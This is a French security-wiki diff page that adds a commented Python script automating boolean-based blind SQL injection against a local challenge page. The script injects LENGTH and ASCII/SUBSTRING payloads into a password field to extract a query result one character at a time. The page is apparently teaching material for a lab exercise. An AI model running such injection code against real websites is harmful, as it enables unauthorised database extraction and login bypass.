Outils d'utilisateurs

Outils du Site


failles_web:blind_sql_injection

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

failles_web:blind_sql_injection [2012/06/27 16:47]
TheLizardKing [ASCII, SUBSTRING et LENGTH]
failles_web:blind_sql_injection [2017/04/09 15:33] (Version actuelle)
Ligne 164: Ligne 164:
  
 Bon, comme c'est super long, on va coder un petit script en python qui nous permet de faire ça sans trop se fatiguer :-) Bon, comme c'est super long, on va coder un petit script en python qui nous permet de faire ça sans trop se fatiguer :-)
 +
 +
 +==== Script pour automatiser ====
 +
 +A priori ce script est pas trop compliqué et largement commenté. Cependant si vous avez des questions, n'hésitez pas ;-) Il faut évidemment l'adapter à votre environnement : host, nom du fichier, ...
 +
 +<file PYTHON exploit.py>
 +#!/usr/bin/env python
 +# -*- coding: utf-8 -*-
 +
 +import httplib
 +from urllib import quote as urlencode
 +
 +def main():
 +    
 +    # Requête dont on souhaite découvrir ce qu'elle renvoit
 +    payload = "SELECT user()"
 +    
 +    # On commence par chercher la taille de ce que l'on cherche
 +    length = 0
 +    while True:
 +        
 +        conn = httplib.HTTPConnection('localhost:8888')
 +        conn.request("GET","/chall.php?user=user&pass="+ urlencode("pass' OR LENGTH(({0}))={1} -- -".format(payload,length)))
 +        rep = conn.getresponse().read()
 +        
 +        if rep.count("Welcome") > 0: # notre requête renvois True - on a donc la taille de la chaine
 +            print "Taille =",length
 +            break
 +        else:
 +            print "Taille !=", length
 +            length += 1
 +            
 +    # On cherche maintenant chaque caractère
 +    reponse = ""
 +    for offset in range(1,length+1): # on parcours chaque char
 +        for char in range(32,127):   # pour chaque char, on regarde chaque valeur ascii possible
 +            conn = httplib.HTTPConnection('localhost:8888')
 +            conn.request("GET","/chall.php?user=user&pass="+urlencode("pass' OR ASCII(SUBSTRING(({0}),{1},1))={2} -- -".format(payload,offset,char)))
 +            rep = conn.getresponse().read()
 +            
 +            if rep.count("Welcome") > 0: # notre requête renvois True - on a donc le bon char
 +                reponse += chr(char)
 +                print reponse
 +                break
 +            else:
 +                print reponse, chr(char)
 +            
 +            
 +if __name__ == '__main__':
 +    main()
 +</file>
  
  
failles_web/blind_sql_injection.1340808435.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)